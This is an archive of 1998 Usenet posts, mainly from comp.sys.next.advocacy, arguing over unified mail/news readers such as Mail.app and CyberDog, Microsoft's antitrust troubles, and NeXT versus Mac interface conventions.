Date: 5 May 1998 14:11:43 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6in6mv$3of$4@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6injcb$bk4$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> Yeah, but that's _sending_ messages.
So they share the same message format, mailboxes, field layout, and sending
(at a minimum). Yet reading isn't done that way - and apparently that's the
way it should be.
Sorry Nathan, I think you're missing the forest for the trees here.
> Far fewer newsreaders support _reading_ e-mail.
A problem that needs to be fixed.
> And I'm not convinced that it's useful to unify the
> "news" and "mail" paradigms.
That's because you think of them as "mail" and "news". That's the problem.
Everyone's asking "well why would I want to get my news in my mail reader?".
Think about that question for a minute, it's the question that's the
problem.
You get messages in your news reader. You get messages in your mail
reader. You don't get "mail" or "news", those are names you impose on them
because that's how you get them. If you can point to any quantitative
differences that apply widely and do not include the delivery method in the
name, then we have an issue. To date the main concerns are focusing on
having different clients for different delivery methods.
> I'm perfectly comfortable with the idea of two separate apps to handle
> mail and news, as long as they integrate well.
But they won't unless they share a lot more than "integration". Can I
share my filters? How about putting a news message into a mailbox? Can I
sort and search them both from the same engine? Do they have the same menus?
How about the form layout?
All this to enforce a historical difference based on delivery method?
> What if there's a
> separate mail app that does a _better_ job of mail than your unified
> mail/newsreader? I'd rather use that, unified or not.
Go right ahead, how do you construe this as somehow limiting what YOU want
to do?
> Where exactly do you want to draw the line of unification, anyway?
> You're leaving out Web browsing.
If you can point out how web browsing and reading messages is in any way
based on similar action, conceptions, or interfaces, feel free. If you're
tempted to reply "but it's an internet activity" then again you are confusing
the technology of the delivery with the actions of the user.
Do YOU think that web browsing and messaging are anything alike? I don't
think you do. The issue here is that you seem to feel that one form of
messaging is different than another form of messaging,€when that difference
is based on technologies used below that level (ie, both use the same
_message_ format). Let's look at that - both are RFC.822 messages, so
shouldn't they use the same display engine at least?
This strikes me as another example of the issue like where the scrollers
are on OpenStep. Although they ended up there for purely historical reasons
it was then defended from a technical standpoint.
> Might be nice, but I don't see anyone writing it,
They did for Eloquent - I just didn't like it. GNU did for Emacs.
CyberDog did for the Mac. Outlook does for the PC.
It's not like people didn't do this, they just didn't do it well. Actually
CyberDog did, it came close to perfection - it was the best e-mail client I
had used anywhere, all the rest of it's portions ignored.
Maury
From: roger@. (Roger )
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 19:23:07 GMT
Organization: gte.net
Message-ID: <6inoup$ejt$1@gte2.gte.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net>
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Once again, I am forced to ask for substantiation for your claim of
"dozens of instances" where Microsoft broke US law. It should be easy
for you to post 6 verifiable instances where it has been documented
that MS engaged in criminal behaviour, or retract the claim.
And I am still waiting for your response to:
>Microsoft has a monopoly on the operating systems market. The supreme
>court of the United States of America has clearly defined that Operating
>Systems and Internet Browsers belong to two separate markets.
Oh, really? During which session and in re: which appeal did the
Supreme Court make such a ruling?
On Tue, 05 May 1998 02:40:21 -0600, someone claiming to be Kevin Stone
wrote:
>It's important to be perfectly clear on how this whole issue got started in
>he first place. It wasn't ONE incident, it wasn't ONE crime, it wasn't ONE
>allegation... it was dozens of instances where Microsoft broke the laws
>that the United States of America congress have tediously worked out over
>the years to stop large corporations from doing exactly what Microsoft is
>allegedly doing. Anti-trust and Anti-competition activities can destroy a
>free market as quickly as government repression. I don't want to see other
>companies to get shaft just becuase Microsoft won't play ball and the DOJ's
>got their biggest baddest batter at the plate ready to take a swing with
>the State's cheering him on. But there is plenty of blame to spread
>around.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 14:30:08 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6in7pg$3of$5@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354F5313.762E@CONVEX.COM>
<6inlac$bns$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6inlac$bns$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > c-y-b-e-r-d-o-g
>
> I haven't yet been convinced by anyone that OpenDoc/CyberDog was the
> way that idea should be implemented
Well of course not, the CONCEPT of CD is what should be implemented.
> but nor do I have much experience with CyberDog.
But I can fix that...
> The other problem with having a bundle architecture is that I don't
> think it's too useful unless _everyone_ is using it.
Sure, but everyone uses Mail's bundle API now, so I don't see this as an
issue.
> get real reuse and might as well just have a simple interapp communication
> model with cooperating applications.
You could likely get away with this, get 99% of the functionality. But at
that point one wonder why you'd "bother" doing two when you could do one.
I really think you're looking at this upside down. You're asking is "why
it is you should combine these two apps?", when I believe the question should
be "how in the hell did we end up with two apps in the first place?".
> And I think that the interfacing
> and interoperability issues in an OpenDoc
But OpenDoc is the general case, CyberDog the specific. CyberDog indeed
solved that because there's only one document type to work with, RCF-822.
Maury
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 5 May 1998 15:35:33 -0400
Organization: Interport Communications Corp.
Message-ID: <6inpm5$qfo$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
John Saunders (jws@jws.ultranet.com) wrote:
: To broaden the point, I was extremely disturbed when the States got together
: and did the Tobacco Settlement. I was unable to think of a precedent for the
: States getting together and strong-arming national and international
: companies. Since it hadn't happened before, I had no reason to believe it
: would work out well this time. Further, I couldn't think that the
: Constitution provided appropriate checks and balances against actions such
: as this.
Remember that the States retain some degree of sovereignty, and as such,
they have the right to collaborate or not collaborate in any way not
specifically disallowed by federal law.
If that weren't the case, there wouldn't be a constitution, or a federal
government.
--
Ben
<Just Another System Administrator>
From: "J. S. Jensen" <jsjensen@Paramin.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 13:46:35 -0600
Organization: Paramin Consulting Group, Inc.
Message-ID: <354F6C9B.AE72F5F2@Paramin.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <354e2990.0@news.primary.net>
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Steve Shaw wrote:
> >http://www.crn.com/dailies/weekending050898/may04dig04.asp
And from this article:
"...There are more than twice as many job openings in computer services for
Windows-based service jobs than there are for jobs based on Lotus/IBM, Novell,
Oracleor Unix..."
Hmmm...that's a tough one to figure out! Not only are they dispairingly
ubiquitous throughout the `industry' but they are that much difficult to
manage. Is it coincidence that no one sees that statement for what it is
worth. The reason there are so many job openings is BECAUSE of industries being
forced (mainly by ill-fated stupid managers), and the fact that it takes me
easily TWICE as long to do real server application development in the MS world
than anything else.
J. S. Jensen
mailto:jsjensen@Paramin.COM
http://www.paramin.com
Date: Tue, 05 May 1998 15:52:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Message-ID: <joe.ragosta-0505981552100001@wil124.dol.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com> <354F23DA.A4DA3BFF@nstar.net> <joe.ragosta-0505981127410001@wil134.dol.net> <354F5052.8AC@CONVEX.COM>
In article <354F5052.8AC@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> Joe Ragosta wrote:
>
> > > I guess when you dig yourself a hole, you just make disparaging remarks
> > > about your opponent.
> >
> > I wasn't involved in this discusssion,
>
> Joe, in all fairness, this is the root of the problem.
Why? The part of my message you trimmed out was direct quotes of you
contradicting yourself. How would that have been any different if I had
been in the discussion earlier?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Tue, 05 May 1998 15:01:02 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354F6FFE.7285@CONVEX.COM>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com> <354F23DA.A4DA3BFF@nstar.net> <joe.ragosta-0505981127410001@wil134.dol.net> <354F5052.8AC@CONVEX.COM> <joe.ragosta-0505981552100001@wil124.dol.net>
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Joe Ragosta wrote:
> > Joe, in all fairness, this is the root of the problem.
>
> Why? The part of my message you trimmed out was direct quotes of you
> contradicting yourself.
Actually, the part I trimmed was a couple of incomplete paragraphs. In
fact, one of the quotes wasn't even a complete sentence.
I tried to be nice about it. You throw back in my face that it's
acceptable not only to miss the thread, but to miss the very content of
the quotes from which you draw your conclusions.
Screw off.
MJP
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 5 May 1998 19:48:25 GMT
Organization: VHA Inc.
Message-ID: <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
I know this is a respam, but the discussion seems to be wide-ranging.
John Saunders <jws@jws.ultranet.com> wrote in article
<6imcmk$oj1$3@ligarius.ultra.net>...
> DC, would a company like CompUSA, which has spent x Million dollars
getting
> their advertising and promotions ready for the Win98 launch would be hurt
if
> that launch were delayed a year or two?
Probably not.
>
> Would the vendors of USB peripherals be hurt if there is no mainstream
> operating system that supports USB?
There would be mainstream support for USB if more people would/could get
their hands on the USB supplement included in Win95 OSR2. Which, by the
way, is all Win98 is except for being hamstrung by tighter integration with
IE.
>
> Would companies which have been testing their products against Windows 98
be
> concerned if Windows 98 didn't ship?
They shouldn't. Their programs should be able to run just fine on all
flavors of Win95.
>
> Would consumers who want to upgrade their existing systems by adding
large
> hard disks be impacted by the lack of FAT32 support in Win95-retail?
Fat32 support is nice yes but once again, Fat32 is part of OSR2 (which you
can't get without buying an OEM machine). MS wants you to pay for Fat32.
-snip-
Are we going to tie up the watchdoj?
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 98 12:43:59 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B174BA20-68F78@207.217.155.172>
References: <6im4k2$9vj$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.next.advocacy
>It's people like you that make me think about switching to an OS with a
>friendlier community of users. Nice, "ha ha, in your face, good to watch
>you suffer you NeXT `refugees'" attitude. I wonder which company it
>was that provided the OS solution that Apple couldn't produce on its own..
My point was not personal. It was just that Mac users will expect the Mac
HI. Look, I like the underpinnings that NeXT has to offer for the next
great unified MacOS. I don't think that entitles NeXT advocates to expect
that I like how their system looks or behaves. I know it's totally
unrealistsic to expect regular Mac users to accept mediocre interface ideas
like "use a command key combination". That's all. Deal with it.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
Date: Tue, 05 May 1998 16:01:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Message-ID: <joe.ragosta-0505981602160001@wil124.dol.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354F5313.762E@CONVEX.COM>
In article <354F5313.762E@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> The really interesting part is that just as Apple had gotten Netscape to
> agree to provide Navigator as a CyberDog part, laying those objections
> to rest...OpenDoc got the now-famous "bullet in its head".
"just as Apple got Netscape to agree"?????
Netscape had been promising for a long, long time and had missed a number
of promised ship dates. When Apple finally killed OD, the Navigator part
was still vapor--not even a beta in sight.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 15:02:21 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6in9lt$3of$6@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6ijusb$kos$2@ns3.vrx.net>
<6iktl0$98e$1@crib.bevc.blacksburg.va.us> <6imkv7$nkm$1@ns3.vrx.net>
<6inj0j$bit$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6inj0j$bit$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> If you want to just pull in one block, you can highlight it before you
> reply to the message and EnhanceMail will quote it when you reply.
> Unfortunately, you can't do disjoint text selection, so you can't use
> that to pull in more than one block.
Right, that's the problem. I read the message, pull in a block, reply to
that, pull in another block, reply to that. Mail just doesn't hack it in
this respect. I know I know, filters, but then you don't get the
convenience. It really needs it, and adds zero bloat (the code's there).
> That might be appropriate since pasting from a different message usually
> means you want it quoted (though it sometimes doesn't)
Override with some key I suppose. Likely the same one.
> So what, you want an interface that looks like an Open panel or Finder
> window?
I think it should do anything that you can do in the Finder basically -
view as "folder" icons, browser, whatever.
> Unread counting is an extremely valuable addition, by the way, if you
> have your mail automatically sorted into subfolders by procmail and want
> to know where it all went..
Again that's not the issue because that takes place at the file level
anyway (IINM, doesn't procmail just look in folders?). The issue that I was
talking about is what the user sees - the "new mail" flag. However I think
that's something that should be available in the OS, and not specifically in
the mail system (ie, many companies use net drop boxes where users ftp files
to - having something check this is a common enough duty).
> That might be tricky, since a URL usually refers to a file and mail
> messages are all stored in one big file.
I know, this would require some sort of "virtual URL" that fires up the
message handler and then processes from there. IE, if you put something in
that said "Re: About this thread" when you "opened" that the natural reaction
would be to open your reader anyway. The details of the URL are hidden from
the user as it is in OW, I don't see too much of a problem here.
> That might be interesting. Maybe you could do it yourself if you linked
> with their frameworks; I'm not sure how much is in the frameworks and
> how much is in the app itself.
Nor me, haven't had the time to look!
> Yeah, that's needed if you're not keeping all your mail local.
Which I believe is going to become the default case soon. And yet ISP's
STILL don't offer IMAP! Sad too, IMAP's good for many other things too, like
pushing setup files and unread markers back and forth.
> Indeed, that's something that many authors don't pay attention to.
None that I've seen actually.
Maury
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 20:08:12 GMT
Organization: Digital Fix Development
Message-ID: <6inrjc$sba$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com> <slrn6kt2jt.5jg.sal@panix3.panix.com> <6im1h4$87v$1@news.digifix.com> <slrn6kt8jn.b98.sal@panix3.panix.com> <6imav3$bf3$1@news.digifix.com> <slrn6kuam7.b2a.sal@panix3.panix.com>
In-Reply-To: <slrn6kuam7.b2a.sal@panix3.panix.com>
On 05/05/98, Salvatore Denaro wrote:
>On 5 May 1998 06:18:11 GMT, Scott Anguish <sanguish@digifix.com>
wrote:
>>BTW.. I have an Apple keyboard here with volume keys on it.. so it
>>isn't just NeXT and Sun.. :-)
>
>When did Apple make it? Are any still around? I might want one if I
>buy a G3 this year.
I think they've discontinued it. The Apple Adjustable
Keyboard was its name. I bought one because I wanted something more
ergonmic than the NeXT keyboard, but less expensive than my full-time
ergo keyboard (a Kinesis)..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 20:13:12 GMT
Organization: Digital Fix Development
Message-ID: <6inrso$sfm$1@news.digifix.com>
References: <6im4k2$9vj$1@crib.bevc.blacksburg.va.us> <B174BA20-68F78@207.217.155.172>
In-Reply-To: <B174BA20-68F78@207.217.155.172>
On 05/05/98, "Brad Hutchings" wrote:
>>It's people like you that make me think about switching to an OS
with a
>>friendlier community of users. Nice, "ha ha, in your face, good to
watch
>>you suffer you NeXT `refugees'" attitude. I wonder which company it
>>was that provided the OS solution that Apple couldn't produce on its
own..
>
>My point was not personal.
No, why would anyone take it as a snide, personal remark when
you end it with ROTFLMAO.. Gimme a break Brad.
>It was just that Mac users will expect the Mac
>HI. Look, I like the underpinnings that NeXT has to offer for the
next
>great unified MacOS. I don't think that entitles NeXT advocates to
expect
>that I like how their system looks or behaves.
And I don't think that it entitles you to make smart ass
remarks about us being refugees, and that we're basically shit out of
luck as far as the UI that we've become accustomed too.
Of course none of my opinions count because I'm a "NeXT
refugee" in your eyes. Years of Macintosh development apparently
doesn't entitle me to an opinion..
>I know it's totally
>unrealistsic to expect regular Mac users to accept mediocre interface
ideas
>like "use a command key combination". That's all. Deal with it.
>
What 'command key combination'? Sounds like FUD to me..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Newsgroups: comp.sys.next.advocacy
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
Message-ID: <354f7928.0@news.depaul.edu>
Date: 5 May 98 20:40:08 GMT
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
> Where exactly do you want to draw the line of unification, anyway?
I think the proper dividing line is probably between the display
and composition and messages, and the viewing of available messages.
That, I think, is where problems crop up - a UI for browsing
mailboxes is rarely optimal for browsing Usenet groups. Netscape
Communicator tries to use the same interface for both, and IMHO
fails. A UI for mailboxes probably doesn't scale well up to
tens of thousands of newsgroups. A newsgroup-browsing UI may
be overkill for a Mail application.
Perhaps we need an application that specializes solely in displaying,
composing, and sending messages. Other applications would specialize
in managing the mailboxes, newsgroups, filtering, etc. Those applications
would use the display/compose/send app as necessary. It sounds a
bit weird, but might work out.
Alternately, the display/compose/send function could be handled by a
framework, loaded by the applications that handle message browsing.
At least in that case there would be a lot less redundant code
between apps.
At the very least, if this sort of scheme were followed, it would
take a lot of the labor out of building a mail or news app, making
it easier for developers to experiment with new groups/articles
user interfaces.
--
"... and subpoenas for all." - Ken Starr
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 16:49:15 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net>
In article <6in6mv$3of$4@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6injcb$bk4$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > Yeah, but that's _sending_ messages.
> So they share the same message format, mailboxes, field layout, and sending
> (at a minimum). Yet reading isn't done that way - and apparently that's the
> way it should be.
I didn't say that's the way it "should be", I'm saying that I don't think
it makes any practical difference. Somehow I have managed to fail to
be confused by using two different programs for mail and news.
Furthermore, the way I browse threads in newsgroups is different from
the way I look through mailboxes. Though I'm not saying that there
isn't some way in which the two could be unified, if you were careful.
> > Far fewer newsreaders support _reading_ e-mail.
> A problem that needs to be fixed.
I doubt it.
> > And I'm not convinced that it's useful to unify the
> > "news" and "mail" paradigms.
> That's because you think of them as "mail" and "news".
That's because _they are_.
> You get messages in your news reader. You get messages in your mail
> reader. You don't get "mail" or "news", those are names you impose on them
> because that's how you get them. If you can point to any quantitative
> differences that apply widely and do not include the delivery method in the
> name, then we have an issue.
I understand the distinction (or lack thereof), I'm just saying that I
don't think that it's necessarily a productive use of time to integrate
the two.
> > I'm perfectly comfortable with the idea of two separate apps to handle
> > mail and news, as long as they integrate well.
> But they won't unless they share a lot more than "integration". Can I
> share my filters? How about putting a news message into a mailbox? Can I
> sort and search them both from the same engine? Do they have the same menus?
> How about the form layout?
By "integrate well", I don't mean anything more than "be able to generate
a mail message from a newsreader, and include the quoted text". I don't
share filters between mail and news, I typically am not interested at
all in filtering mail other than perhaps a little post-sorting by sender
-- furthermore, I don't want to do the _same_ sorting on mail and news
-- I want to leave all my news saved in folders according to newsgroup
(akin to how I store mailing lists) no matter who it's from, whereas
private e-mail I like to sort by sender. I don't care one single bit
about being able to sort or search mail and news from the same engine,
I want them _distinct_. (I have some rather odd preferences in news,
though, for various reasons.. I make the news articles I save publicly
available to other users on my system since they were originally posted
publicly, I keep them in separate files so I can hyperlink to them --
which goes back to a previous issue, whereas I keep my mail private and
stored in one file per folder -- which is probably more efficicient.)
I also don't care whether or not mail or news have the same menus or
form layout. Don't you get it? _I don't care_ if they have separate
interfaces. You could argue, "but shouldn't they be the same"? Well,
maybe, but if I have a perfectly good mail tool and a perfectly good news
tool, I am _not_ going to switch to a unified one unless it does mail
better than the mail tool _and_ news better than the news tool. And if
I ran across a separate mail or news tool that's even better than that,
I'd use _it_. Given the choice between separate mail tools and news
tools or a unified tool with _equivalent_ functionality, I suppose I'd
choose the unified tool purely to cut down on disk space since there's
no sense in having two apps lying around when you could have one, but
otherwise it really doesn't make much difference to me!
A more compelling argument could be made for those who have never used
either mail or news before, and have less reason to switch or get a
new tool.
> > What if there's a
> > separate mail app that does a _better_ job of mail than your unified
> > mail/newsreader? I'd rather use that, unified or not.
> Go right ahead, how do you construe this as somehow limiting what YOU want
> to do?
I'm saying that there's _no point_ in producing a unified tool if existing
tools get the job done.
> > Where exactly do you want to draw the line of unification, anyway?
> > You're leaving out Web browsing.
> If you can point out how web browsing and reading messages is in any way
> based on similar action, conceptions, or interfaces, feel free. If you're
> tempted to reply "but it's an internet activity" then again you are confusing
> the technology of the delivery with the actions of the user.
Received any HTML mail lately?
> This strikes me as another example of the issue like where the scrollers
> are on OpenStep. Although they ended up there for purely historical reasons
> it was then defended from a technical standpoint.
1) Prove that they ended up there for purely historical reasons. Yes, I
know all about the agreement with Apple, but that doesn't imply that
every interface change was made just to comply with it.
2) The scrollers _deserve_ to be defended from a technical standpoint,
because I can't stand scrollers that are the other way around.
> > Might be nice, but I don't see anyone writing it,
> They did for Eloquent - I just didn't like it.
And I bought Eloquent and used to use it, until I found an individual
combination of mail and news tools that together provided superior
functionality for me. Didn't have anything to do with the unification or
lack thereof. The unified theme was actually one reason why I bought it,
but after using it I decided that it really didn't make much difference.
> It's not like people didn't do this, they just didn't do it well.
Yeah. My point: where do you think the niche is? How many people do
you think are going to switch to a new unified tool when they already
have existing tools that work just as well for them, purely for the sake
of its unification? I think this would mostly cater to new users.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Newsgroups: comp.sys.next.advocacy
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
Message-ID: <354f7b55.0@news.depaul.edu>
Date: 5 May 98 20:49:25 GMT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> What do you do with your mail? You open the "folders", read the messages,
> reply to them. What do you do with your news? You open the "newsgroups",
> read the messages, reply to them.
Yes, but people rarely have more than a couple dozen mail folders,
while there are tens of thousands of newsgroups. A UI that's good
for newsgroups is not necessarily good for mail.
<snip>
> Maybe I just have a different perspective on this, but I did work at an
>e-mail vendor for six years. I also think that coming from the OS
>perspective is a lot different than those coming from the Mac and Win worlds.
Most people coming from the OS perspective probably came first from the Mac
and Win world. I don't think the majority of OpenStep developers come
from a Unix/X background, especially when you consider where Unix and
X were from 1989-1992.
Anyone know Jayson Adams' background before he started working on NeXTStep?
He wrote Newsgrazer, which was pretty much *the* NeXTStep newsreader for
a long time.
> I don't see how a loadable-bundle app is bloatware, whereas having the same
> functionality duplicated among nnn apps isn't. Who cares if the single app
> is 2meg vs. 1meg for mail, when you need another 2 meg of other apps to get
> full coverage.
One problem is the potential for increased complexity as the program
grows. Two stable apps are better than one buggy one.
--
"... and subpoenas for all." - Ken Starr
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 16:51:54 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6inu5a$cfj$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <354F5313.762E@CONVEX.COM> <6inlac$bns$1@crib.bevc.blacksburg.va.us> <6in7pg$3of$5@ns3.vrx.net>
In article <6in7pg$3of$5@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> I really think you're looking at this upside down. You're asking is "why
> it is you should combine these two apps?", when I believe the question should
> be "how in the hell did we end up with two apps in the first place?".
I'm saying "who cares, it doesn't matter to me either way, why should
I bother switching and why should anyone bother filling a niche that's
already filled by existing separate apps?"
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 17:06:07 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6inuvv$chg$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <354F5AB5.515@CONVEX.COM> <6inmqr$bqn$1@crib.bevc.blacksburg.va.us> <354F65A5.42BB@CONVEX.COM>
In article <354F65A5.42BB@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
